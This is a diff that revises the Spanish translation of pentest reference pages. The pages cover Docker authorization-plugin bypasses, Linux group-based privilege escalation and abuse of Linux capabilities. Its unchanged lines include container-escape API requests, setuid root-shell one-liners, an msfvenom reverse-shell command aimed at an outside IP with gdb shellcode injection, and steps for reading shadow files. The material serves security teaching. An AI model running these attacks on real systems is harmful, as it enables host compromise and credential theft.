En este caso, el sysadmin **no permitió a los usuarios montar volúmenes y ejecutar contenedores con la bandera `--privileged`** o dar cualquier capacidad extra al contenedor:
|
||||
En este caso, el sysadmin **no permitió a los usuarios montar volúmenes y ejecutar contenedores con la `--privileged` flag** o dar alguna capacidad extra al contenedor:
|
||||
```bash
|
||||
docker run -d --privileged modified-ubuntu
|
||||
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
|
||||
@ -76,11 +76,11 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
|
||||
# With --cap-add=SYS_ADMIN
|
||||
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
|
||||
```
|
||||
Ahora, el usuario puede escapar del contenedor utilizando cualquiera de las [**técnicas discutidas anteriormente**](./#privileged-flag) y **escalar privilegios** dentro del host.
|
||||
Ahora, el usuario puede escapar del contenedor utilizando cualquiera de las [**técnicas discutidas anteriormente**](#privileged-flag) y **escalar privilegios** dentro del host.
|
||||
|
||||
## Montar Carpeta Escribible
|
||||
|
||||
En este caso, el sysadmin **no permitió a los usuarios ejecutar contenedores con la bandera `--privileged`** ni otorgar ninguna capacidad extra al contenedor, y solo permitió montar la carpeta `/tmp`:
|
||||
En este caso, el sysadmin **no permitió a los usuarios ejecutar contenedores con la bandera `--privileged`** o dar alguna capacidad extra al contenedor, y solo permitió montar la carpeta `/tmp`:
|
||||
```bash
|
||||
host> cp /bin/bash /tmp #Cerate a copy of bash
|
||||
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
|
||||
@ -90,7 +90,7 @@ host> /tmp/bash
|
||||
-p #This will give you a shell as root
|
||||
```
|
||||
> [!NOTE]
|
||||
> Tenga en cuenta que tal vez no pueda montar la carpeta `/tmp`, pero puede montar una **carpeta diferente y escribible**. Puede encontrar directorios escribibles usando: `find / -writable -type d 2>/dev/null`
|
||||
> Tenga en cuenta que tal vez no pueda montar la carpeta `/tmp`, pero puede montar una **carpeta escribible diferente**. Puede encontrar directorios escribibles usando: `find / -writable -type d 2>/dev/null`
|
||||
>
|
||||
> **¡Tenga en cuenta que no todos los directorios en una máquina linux soportarán el bit suid!** Para verificar qué directorios soportan el bit suid, ejecute `mount | grep -v "nosuid"` Por ejemplo, generalmente `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` y `/var/lib/lxcfs` no soportan el bit suid.
|
||||
>
|
||||
@ -106,7 +106,7 @@ Puede consultar la API de docker en [https://docs.docker.com/engine/api/v1.40/#]
|
||||
|
||||
### Binds in root
|
||||
|
||||
Es posible que cuando el sysadmin configuró el firewall de docker, **olvidara algún parámetro importante** de la [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) como "**Binds**".\
|
||||
Es posible que cuando el sysadmin configuró el firewall de docker, **olvidó algún parámetro importante** de la [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) como "**Binds**".\
|
||||
En el siguiente ejemplo, es posible abusar de esta mala configuración para crear y ejecutar un contenedor que monte la carpeta raíz (/) del host:
|
||||
```bash
|
||||
docker version #First, find the API version of docker, 1.40 in this example
|
||||
@ -122,7 +122,7 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
|
||||
|
||||
### Binds en HostConfig
|
||||
|
||||
Sigue la misma instrucción que con **Binds en raíz** realizando esta **solicitud** a la API de Docker:
|
||||
Sigue la misma instrucción que con **Binds en raíz** realizando esta **request** a la API de Docker:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
|
||||
```
|
||||
@ -132,13 +132,13 @@ Siga las mismas instrucciones que con **Vínculos en root** realizando esta **so
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
|
||||
```
|
||||
### Montajes en HostConfig
|
||||
### Mounts en HostConfig
|
||||
|
||||
Siga las mismas instrucciones que con **Vínculos en root** realizando esta **solicitud** a la API de Docker:
|
||||
Siga las mismas instrucciones que con **Binds en root** realizando esta **solicitud** a la API de Docker:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
|
||||
```
|
||||
## Atributo JSON No Verificado
|
||||
## Atributo JSON no verificado
|
||||
|
||||
Es posible que cuando el sysadmin configuró el firewall de docker **se olvidó de algún atributo importante de un parámetro** de la [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) como "**Capabilities**" dentro de "**HostConfig**". En el siguiente ejemplo es posible abusar de esta mala configuración para crear y ejecutar un contenedor con la capacidad **SYS_MODULE**:
|
||||
```bash
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Grupos Interesantes - Linux Privesc
|
||||
# Grupos Interesantes - Privesc en Linux
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### **PE - Método 1**
|
||||
|
||||
**A veces**, **por defecto (o porque algún software lo necesita)** dentro del **/etc/sudoers** puedes encontrar algunas de estas líneas:
|
||||
**A veces**, **por defecto (o porque algún software lo necesita)** dentro del **/etc/sudoers** archivo puedes encontrar algunas de estas líneas:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
@ -54,7 +54,7 @@ pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||||
#Step 4, you will be asked in this session to authenticate to pkexec
|
||||
```
|
||||
## Grupo Wheel
|
||||
## Wheel Group
|
||||
|
||||
**A veces**, **por defecto** dentro del **/etc/sudoers** archivo puedes encontrar esta línea:
|
||||
```
|
||||
@ -72,7 +72,7 @@ Los usuarios del **grupo shadow** pueden **leer** el **/etc/shadow** archivo:
|
||||
```
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
Así que, lee el archivo e intenta **crackear algunos hashes**.
|
||||
So, lee el archivo y trata de **crackear algunos hashes**.
|
||||
|
||||
## Grupo de Personal
|
||||
|
||||
@ -163,11 +163,11 @@ El **grupo de video** tiene acceso para ver la salida de la pantalla. Básicamen
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
Para **abrir** la **imagen en bruto** puedes usar **GIMP**, seleccionar el \*\*`screen.raw`\*\* y seleccionar como tipo de archivo **Datos de imagen en bruto**:
|
||||
Para **abrir** la **imagen en bruto**, puedes usar **GIMP**, seleccionar el archivo **`screen.raw`** y seleccionar como tipo de archivo **Datos de imagen en bruto**:
|
||||
|
||||
.png>)
|
||||
|
||||
Luego modifica el Ancho y Alto a los que se usan en la pantalla y verifica diferentes Tipos de Imagen (y selecciona el que muestre mejor la pantalla):
|
||||
Luego modifica el Ancho y la Altura a los que se usan en la pantalla y verifica diferentes Tipos de Imagen (y selecciona el que muestre mejor la pantalla):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -199,7 +199,7 @@ Finalmente, si no te gustan ninguna de las sugerencias anteriores, o no están f
|
||||
../docker-security/
|
||||
{{#endref}}
|
||||
|
||||
Si tienes permisos de escritura sobre el socket de docker, lee [**esta publicación sobre cómo escalar privilegios abusando del socket de docker**](../#writable-docker-socket)**.**
|
||||
Si tienes permisos de escritura sobre el socket de docker, lee [**esta publicación sobre cómo escalar privilegios abusando del socket de docker**](../index.html#writable-docker-socket)**.**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
@ -218,7 +218,7 @@ https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
## Grupo Adm
|
||||
|
||||
Por lo general, los **miembros** del grupo **`adm`** tienen permisos para **leer archivos de registro** ubicados dentro de _/var/log/_.\
|
||||
Por lo tanto, si has comprometido a un usuario dentro de este grupo, definitivamente deberías **mirar los registros**.
|
||||
Por lo tanto, si has comprometido a un usuario dentro de este grupo, definitivamente deberías **echar un vistazo a los registros**.
|
||||
|
||||
## Grupo Auth
|
||||
|
||||
|
||||
@ -2,14 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Capacidades de Linux
|
||||
|
||||
Las capacidades de Linux dividen **los privilegios de root en unidades más pequeñas y distintas**, permitiendo que los procesos tengan un subconjunto de privilegios. Esto minimiza los riesgos al no otorgar privilegios de root completos innecesariamente.
|
||||
|
||||
### El Problema:
|
||||
|
||||
- Los usuarios normales tienen permisos limitados, lo que afecta tareas como abrir un socket de red que requiere acceso de root.
|
||||
- Los usuarios normales tienen permisos limitados, afectando tareas como abrir un socket de red que requiere acceso de root.
|
||||
|
||||
### Conjuntos de Capacidades:
|
||||
|
||||
@ -22,8 +21,8 @@ Las capacidades de Linux dividen **los privilegios de root en unidades más pequ
|
||||
2. **Efectivas (CapEff)**:
|
||||
|
||||
- **Propósito**: Representa las capacidades reales que un proceso está utilizando en cualquier momento.
|
||||
- **Funcionalidad**: Es el conjunto de capacidades verificadas por el kernel para otorgar permiso para varias operaciones. Para los archivos, este conjunto puede ser una bandera que indica si las capacidades permitidas del archivo deben considerarse efectivas.
|
||||
- **Significado**: El conjunto efectivo es crucial para las verificaciones de privilegios inmediatas, actuando como el conjunto activo de capacidades que un proceso puede usar.
|
||||
- **Funcionalidad**: Es el conjunto de capacidades que el kernel verifica para otorgar permiso para varias operaciones. Para archivos, este conjunto puede ser una bandera que indica si las capacidades permitidas del archivo deben considerarse efectivas.
|
||||
- **Significado**: El conjunto efectivo es crucial para las verificaciones inmediatas de privilegios, actuando como el conjunto activo de capacidades que un proceso puede usar.
|
||||
|
||||
3. **Permitidas (CapPrm)**:
|
||||
|
||||
@ -277,7 +276,7 @@ capsh --print
|
||||
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Solo puedes **agregar capacidades que estén presentes** tanto en el conjunto permitido como en el conjunto heredable.
|
||||
> Solo puedes **agregar capacidades que estén presentes** en ambos conjuntos, el permitido y el heredable.
|
||||
|
||||
### Binarios conscientes de capacidades / Binarios tontos en capacidades
|
||||
|
||||
@ -286,7 +285,7 @@ Los **binarios conscientes de capacidades no usarán las nuevas capacidades** ot
|
||||
## Capacidades del servicio
|
||||
|
||||
Por defecto, un **servicio que se ejecuta como root tendrá asignadas todas las capacidades**, y en algunas ocasiones esto puede ser peligroso.\
|
||||
Por lo tanto, un **archivo de configuración del servicio** permite **especificar** las **capacidades** que deseas que tenga, **y** el **usuario** que debería ejecutar el servicio para evitar ejecutar un servicio con privilegios innecesarios:
|
||||
Por lo tanto, un archivo de **configuración del servicio** permite **especificar** las **capacidades** que deseas que tenga, **y** el **usuario** que debería ejecutar el servicio para evitar ejecutar un servicio con privilegios innecesarios:
|
||||
```bash
|
||||
[Service]
|
||||
User=bob
|
||||
@ -338,7 +337,7 @@ setcap cap_setuid+ep /usr/bin/python2.7
|
||||
#Exploit
|
||||
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
|
||||
```
|
||||
**Capacidades** necesarias para que `tcpdump` **permita a cualquier usuario espiar paquetes**:
|
||||
**Capabilities** necesarias para que `tcpdump` **permita a cualquier usuario espiar paquetes**:
|
||||
```bash
|
||||
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
|
||||
getcap /usr/sbin/tcpdump
|
||||
@ -346,7 +345,7 @@ getcap /usr/sbin/tcpdump
|
||||
```
|
||||
### El caso especial de capacidades "vacías"
|
||||
|
||||
[Desde la documentación](https://man7.org/linux/man-pages/man7/capabilities.7.html): Tenga en cuenta que se pueden asignar conjuntos de capacidades vacíos a un archivo de programa, y por lo tanto es posible crear un programa con ID de usuario raíz que cambie el ID de usuario efectivo y el ID de usuario guardado del proceso que ejecuta el programa a 0, pero no confiere capacidades a ese proceso. O, dicho de manera simple, si tienes un binario que:
|
||||
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Tenga en cuenta que se pueden asignar conjuntos de capacidades vacías a un archivo de programa, y por lo tanto es posible crear un programa con ID de usuario raíz que cambie el ID de usuario efectivo y el ID de usuario guardado del proceso que ejecuta el programa a 0, pero no confiere ninguna capacidad a ese proceso. O, dicho de manera simple, si tienes un binario que:
|
||||
|
||||
1. no es propiedad de root
|
||||
2. no tiene bits `SUID`/`SGID` establecidos
|
||||
@ -418,7 +417,7 @@ chroot ./ bash #You have a shell inside the docker hosts disk
|
||||
- **Acceso completo**
|
||||
|
||||
En el método anterior logramos acceder al disco del host de docker.\
|
||||
En caso de que encuentres que el host está ejecutando un servidor **ssh**, podrías **crear un usuario dentro del disco del host de docker** y acceder a él a través de SSH:
|
||||
En caso de que encuentres que el host está ejecutando un **ssh** servidor, podrías **crear un usuario dentro del disco del host de docker** y acceder a él a través de SSH:
|
||||
```bash
|
||||
#Like in the example before, the first step is to mount the docker host disk
|
||||
fdisk -l
|
||||
@ -536,7 +535,7 @@ libc.ptrace(PTRACE_DETACH, pid, None, None)
|
||||
```
|
||||
/usr/bin/gdb = cap_sys_ptrace+ep
|
||||
```
|
||||
Crea un shellcode con msfvenom para inyectar en memoria a través de gdb
|
||||
Crea un shellcode con msfvenom para inyectar en memoria a través de gdb.
|
||||
```python
|
||||
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
|
||||
buf = b""
|
||||
@ -560,7 +559,7 @@ chunks += f"{byte:02x}"
|
||||
|
||||
print(f"set {{long}}($rip+{i}) = {chunks}")
|
||||
```
|
||||
Depurar un proceso root con gdb y copiar-pegar las líneas de gdb generadas previamente:
|
||||
Depure un proceso root con gdb y copie y pegue las líneas de gdb generadas previamente:
|
||||
```bash
|
||||
# Let's write the commands to a file
|
||||
echo 'set {long}($rip+0) = 0x296a909090909090
|
||||
@ -622,7 +621,7 @@ List **procesos** en el **host** `ps -eaf`
|
||||
|
||||
## CAP_SYS_MODULE
|
||||
|
||||
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** otorga a un proceso la capacidad de **cargar y descargar módulos del kernel (`init_module(2)`, `finit_module(2)` y `delete_module(2)` llamadas al sistema)**, ofreciendo acceso directo a las operaciones centrales del kernel. Esta capacidad presenta riesgos críticos de seguridad, ya que permite la escalada de privilegios y el compromiso total del sistema al permitir modificaciones en el kernel, eludiendo así todos los mecanismos de seguridad de Linux, incluidos los Módulos de Seguridad de Linux y la aislamiento de contenedores.
|
||||
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** otorga a un proceso la capacidad de **cargar y descargar módulos del kernel (`init_module(2)`, `finit_module(2)` y `delete_module(2)` llamadas al sistema)**, ofreciendo acceso directo a las operaciones centrales del kernel. Esta capacidad presenta riesgos críticos de seguridad, ya que permite la escalada de privilegios y el compromiso total del sistema al permitir modificaciones en el kernel, eludiendo así todos los mecanismos de seguridad de Linux, incluidos los Módulos de Seguridad de Linux y el aislamiento de contenedores.
|
||||
**Esto significa que puedes** **insertar/quitar módulos del kernel en/el kernel de la máquina host.**
|
||||
|
||||
**Ejemplo con binario**
|
||||
@ -633,7 +632,7 @@ getcap -r / 2>/dev/null
|
||||
/usr/bin/python2.7 = cap_sys_module+ep
|
||||
```
|
||||
Por defecto, el comando **`modprobe`** verifica la lista de dependencias y los archivos de mapa en el directorio **`/lib/modules/$(uname -r)`**.\
|
||||
Para abusar de esto, vamos a crear una carpeta falsa **lib/modules**:
|
||||
Para abusar de esto, creemos una carpeta falsa **lib/modules**:
|
||||
```bash
|
||||
mkdir lib/modules -p
|
||||
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
|
||||
@ -775,7 +774,7 @@ groups=0(root)
|
||||
```
|
||||
Dentro de la salida anterior, puedes ver que la capacidad **DAC_READ_SEARCH** está habilitada. Como resultado, el contenedor puede **depurar procesos**.
|
||||
|
||||
Puedes aprender cómo funciona la siguiente explotación en [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) pero en resumen, **CAP_DAC_READ_SEARCH** no solo nos permite recorrer el sistema de archivos sin verificaciones de permisos, sino que también elimina explícitamente cualquier verificación para _**open_by_handle_at(2)**_ y **podría permitir que nuestro proceso acceda a archivos sensibles abiertos por otros procesos**.
|
||||
Puedes aprender cómo funciona la siguiente explotación en [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3), pero en resumen, **CAP_DAC_READ_SEARCH** no solo nos permite recorrer el sistema de archivos sin verificaciones de permisos, sino que también elimina explícitamente cualquier verificación para _**open_by_handle_at(2)**_ y **podría permitir que nuestro proceso acceda a archivos sensibles abiertos por otros procesos**.
|
||||
|
||||
El exploit original que abusa de estos permisos para leer archivos del host se puede encontrar aquí: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), la siguiente es una **versión modificada que te permite indicar el archivo que deseas leer como primer argumento y volcarlo en un archivo.**
|
||||
```c
|
||||
@ -1152,7 +1151,7 @@ import os
|
||||
os.setuid(0)
|
||||
os.system("/bin/bash")
|
||||
```
|
||||
**Otra forma:**
|
||||
**Otra manera:**
|
||||
```python
|
||||
import os
|
||||
import prctl
|
||||
@ -1178,17 +1177,17 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
|
||||
#Find every file readable by a group in /etc with a maxpath of 1
|
||||
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
|
||||
```
|
||||
Una vez que hayas encontrado un archivo que puedes abusar (mediante lectura o escritura) para escalar privilegios, puedes **obtener un shell impersonando al grupo interesante** con:
|
||||
Una vez que hayas encontrado un archivo que puedes abusar (a través de lectura o escritura) para escalar privilegios, puedes **obtener un shell impersonando al grupo interesante** con:
|
||||
```python
|
||||
import os
|
||||
os.setgid(42)
|
||||
os.system("/bin/bash")
|
||||
```
|
||||
En este caso, se hizo pasar por el grupo shadow para que puedas leer el archivo `/etc/shadow`:
|
||||
En este caso, se hizo una suplantación del grupo shadow para que puedas leer el archivo `/etc/shadow`:
|
||||
```bash
|
||||
cat /etc/shadow
|
||||
```
|
||||
Si **docker** está instalado, podrías **suplantar** el **grupo docker** y abusar de él para comunicarte con el [**socket de docker** y escalar privilegios](./#writable-docker-socket).
|
||||
Si **docker** está instalado, podrías **suplantar** el **grupo docker** y abusar de él para comunicarte con el [**socket de docker** y escalar privilegios](#writable-docker-socket).
|
||||
|
||||
## CAP_SETFCAP
|
||||
|
||||
@ -1253,11 +1252,11 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
|
||||
/usr/bin/gdb
|
||||
bash: /usr/bin/gdb: Operation not permitted
|
||||
```
|
||||
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitido: Este es un **superconjunto limitante de las capacidades efectivas** que el hilo puede asumir. También es un superconjunto limitante para las capacidades que pueden ser añadidas al conjunto heredable por un hilo que **no tiene la capacidad CAP_SETPCAP** en su conjunto efectivo._\
|
||||
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitido: Este es un **superconjunto limitante para las capacidades efectivas** que el hilo puede asumir. También es un superconjunto limitante para las capacidades que pueden ser añadidas al conjunto heredable por un hilo que **no tiene la capacidad CAP_SETPCAP** en su conjunto efectivo._\
|
||||
Parece que las capacidades Permitidas limitan las que se pueden usar.\
|
||||
Sin embargo, Docker también otorga la **CAP_SETPCAP** por defecto, por lo que podrías **establecer nuevas capacidades dentro de las heredables**.\
|
||||
Sin embargo, en la documentación de esta capacidad: _CAP_SETPCAP : \[…] **añadir cualquier capacidad del conjunto limitante del hilo que llama** a su conjunto heredable_.\
|
||||
Parece que solo podemos añadir al conjunto heredable capacidades del conjunto limitante. Lo que significa que **no podemos poner nuevas capacidades como CAP_SYS_ADMIN o CAP_SYS_PTRACE en el conjunto heredado para escalar privilegios**.
|
||||
Sin embargo, en la documentación de esta capacidad: _CAP_SETPCAP : \[…] **agregar cualquier capacidad del conjunto limitante del hilo que llama** a su conjunto heredable_.\
|
||||
Parece que solo podemos agregar al conjunto heredable capacidades del conjunto limitante. Lo que significa que **no podemos poner nuevas capacidades como CAP_SYS_ADMIN o CAP_SYS_PTRACE en el conjunto heredado para escalar privilegios**.
|
||||
|
||||
## CAP_SYS_RAWIO
|
||||
|
||||
@ -1271,7 +1270,7 @@ Esto puede ser útil para **escalada de privilegios** y **escape de Docker.**
|
||||
|
||||
**Ejemplo con binario**
|
||||
|
||||
Supongamos que el **`python`** binario tiene esta capacidad. Si pudieras **también modificar alguna configuración de servicio o socket** (o cualquier archivo de configuración relacionado con un servicio), podrías crear una puerta trasera, y luego matar el proceso relacionado con ese servicio y esperar a que se ejecute el nuevo archivo de configuración con tu puerta trasera.
|
||||
Supongamos que el **`python`** binario tiene esta capacidad. Si pudieras **también modificar alguna configuración de servicio o socket** (o cualquier archivo de configuración relacionado con un servicio), podrías ponerle un backdoor, y luego matar el proceso relacionado con ese servicio y esperar a que se ejecute el nuevo archivo de configuración con tu backdoor.
|
||||
```python
|
||||
#Use this python code to kill arbitrary processes
|
||||
import os
|
||||
@ -1290,6 +1289,7 @@ kill -s SIGUSR1 <nodejs-ps>
|
||||
electron-cef-chromium-debugger-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## CAP_NET_BIND_SERVICE
|
||||
|
||||
**Esto significa que es posible escuchar en cualquier puerto (incluso en los privilegiados).** No puedes escalar privilegios directamente con esta capacidad.
|
||||
@ -1324,7 +1324,7 @@ s.connect(('10.10.10.10',500))
|
||||
|
||||
## CAP_NET_RAW
|
||||
|
||||
La capacidad [**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite a los procesos **crear sockets RAW y PACKET**, lo que les permite generar y enviar paquetes de red arbitrarios. Esto puede llevar a riesgos de seguridad en entornos contenedorizados, como el spoofing de paquetes, la inyección de tráfico y el eludir controles de acceso a la red. Los actores maliciosos podrían explotar esto para interferir con el enrutamiento de contenedores o comprometer la seguridad de la red del host, especialmente sin protecciones adecuadas de firewall. Además, **CAP_NET_RAW** es crucial para contenedores privilegiados para soportar operaciones como ping a través de solicitudes ICMP RAW.
|
||||
[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) la capacidad permite a los procesos **crear sockets RAW y PACKET**, lo que les permite generar y enviar paquetes de red arbitrarios. Esto puede llevar a riesgos de seguridad en entornos contenedorizados, como el spoofing de paquetes, la inyección de tráfico y el eludir controles de acceso a la red. Los actores maliciosos podrían explotar esto para interferir con el enrutamiento de contenedores o comprometer la seguridad de la red del host, especialmente sin protecciones adecuadas de firewall. Además, **CAP_NET_RAW** es crucial para contenedores privilegiados para soportar operaciones como ping a través de solicitudes ICMP RAW.
|
||||
|
||||
**Esto significa que es posible espiar el tráfico.** No puedes escalar privilegios directamente con esta capacidad.
|
||||
|
||||
@ -1339,7 +1339,7 @@ Tenga en cuenta que si el **entorno** está otorgando esta capacidad, también p
|
||||
|
||||
**Ejemplo con binario 2**
|
||||
|
||||
El siguiente ejemplo es código de **`python2`** que puede ser útil para interceptar el tráfico de la interfaz "**lo**" (**localhost**). El código es del laboratorio "_The Basics: CAP-NET_BIND + NET_RAW_" de [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
|
||||
El siguiente ejemplo es código **`python2`** que puede ser útil para interceptar el tráfico de la interfaz "**lo**" (**localhost**). El código proviene del laboratorio "_The Basics: CAP-NET_BIND + NET_RAW_" de [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
|
||||
```python
|
||||
import socket
|
||||
import struct
|
||||
@ -1451,7 +1451,7 @@ f.write('New content for the file\n')
|
||||
|
||||
## CAP_SYSLOG
|
||||
|
||||
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) se separó de la más amplia **CAP_SYS_ADMIN** en Linux 2.6.37, otorgando específicamente la capacidad de usar la llamada `syslog(2)`. Esta capacidad permite la visualización de direcciones del núcleo a través de `/proc` y interfaces similares cuando la configuración `kptr_restrict` está en 1, lo que controla la exposición de direcciones del núcleo. Desde Linux 2.6.39, el valor predeterminado para `kptr_restrict` es 0, lo que significa que las direcciones del núcleo están expuestas, aunque muchas distribuciones establecen esto en 1 (ocultar direcciones excepto de uid 0) o 2 (siempre ocultar direcciones) por razones de seguridad.
|
||||
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) se separó de la más amplia **CAP_SYS_ADMIN** en Linux 2.6.37, otorgando específicamente la capacidad de usar la llamada `syslog(2)`. Esta capacidad permite la visualización de direcciones del núcleo a través de `/proc` y interfaces similares cuando la configuración `kptr_restrict` está en 1, que controla la exposición de direcciones del núcleo. Desde Linux 2.6.39, el valor predeterminado para `kptr_restrict` es 0, lo que significa que las direcciones del núcleo están expuestas, aunque muchas distribuciones establecen esto en 1 (ocultar direcciones excepto de uid 0) o 2 (siempre ocultar direcciones) por razones de seguridad.
|
||||
|
||||
Además, **CAP_SYSLOG** permite acceder a la salida de `dmesg` cuando `dmesg_restrict` está configurado en 1. A pesar de estos cambios, **CAP_SYS_ADMIN** conserva la capacidad de realizar operaciones `syslog` debido a precedentes históricos.
|
||||
|
||||
@ -1462,7 +1462,7 @@ Además, **CAP_SYSLOG** permite acceder a la salida de `dmesg` cuando `dmesg_res
|
||||
- **S_IFCHR**: Archivos especiales de caracteres, que son dispositivos como terminales.
|
||||
- **S_IFBLK**: Archivos especiales de bloques, que son dispositivos como discos.
|
||||
|
||||
Esta capacidad es esencial para procesos que requieren la capacidad de crear archivos de dispositivo, facilitando la interacción directa con el hardware a través de dispositivos de caracteres o bloques.
|
||||
Esta capacidad es esencial para los procesos que requieren la capacidad de crear archivos de dispositivo, facilitando la interacción directa con el hardware a través de dispositivos de caracteres o bloques.
|
||||
|
||||
Es una capacidad predeterminada de docker ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
|
||||
|
||||
@ -1474,7 +1474,7 @@ Esta capacidad permite realizar escalaciones de privilegios (a través de lectur
|
||||
|
||||
**Pasos para crear y acceder a un dispositivo de bloque en un contenedor:**
|
||||
|
||||
1. **En el Host como Usuario Estándar:**
|
||||
1. **En el Host como un Usuario Estándar:**
|
||||
|
||||
- Determine su ID de usuario actual con `id`, por ejemplo, `uid=1000(standarduser)`.
|
||||
- Identifique el dispositivo objetivo, por ejemplo, `/dev/sdb`.
|
||||
@ -1507,13 +1507,13 @@ Este enfoque permite al usuario estándar acceder y potencialmente leer datos de
|
||||
|
||||
**`CAP_SETPCAP`** es una capacidad de Linux que permite a un proceso **modificar los conjuntos de capacidades de otro proceso**. Otorga la capacidad de agregar o eliminar capacidades de los conjuntos de capacidades efectivos, heredables y permitidos de otros procesos. Sin embargo, hay ciertas restricciones sobre cómo se puede usar esta capacidad.
|
||||
|
||||
Un proceso con `CAP_SETPCAP` **solo puede otorgar o eliminar capacidades que están en su propio conjunto de capacidades permitido**. En otras palabras, un proceso no puede otorgar una capacidad a otro proceso si no tiene esa capacidad por sí mismo. Esta restricción evita que un proceso eleve los privilegios de otro proceso más allá de su propio nivel de privilegio.
|
||||
Un proceso con `CAP_SETPCAP` **solo puede otorgar o eliminar capacidades que están en su propio conjunto de capacidades permitidas**. En otras palabras, un proceso no puede otorgar una capacidad a otro proceso si no tiene esa capacidad por sí mismo. Esta restricción evita que un proceso eleve los privilegios de otro proceso más allá de su propio nivel de privilegio.
|
||||
|
||||
Además, en versiones recientes del kernel, la capacidad `CAP_SETPCAP` ha sido **further restricted**. Ya no permite que un proceso modifique arbitrariamente los conjuntos de capacidades de otros procesos. En cambio, **solo permite que un proceso reduzca las capacidades en su propio conjunto de capacidades permitido o en el conjunto de capacidades permitido de sus descendientes**. Este cambio se introdujo para reducir los riesgos de seguridad potenciales asociados con la capacidad.
|
||||
Además, en versiones recientes del kernel, la capacidad `CAP_SETPCAP` ha sido **further restricted**. Ya no permite que un proceso modifique arbitrariamente los conjuntos de capacidades de otros procesos. En cambio, **solo permite que un proceso reduzca las capacidades en su propio conjunto de capacidades permitidas o en el conjunto de capacidades permitidas de sus descendientes**. Este cambio se introdujo para reducir los posibles riesgos de seguridad asociados con la capacidad.
|
||||
|
||||
Para usar `CAP_SETPCAP` de manera efectiva, necesitas tener la capacidad en tu conjunto de capacidades efectivo y las capacidades objetivo en tu conjunto de capacidades permitido. Luego puedes usar la llamada al sistema `capset()` para modificar los conjuntos de capacidades de otros procesos.
|
||||
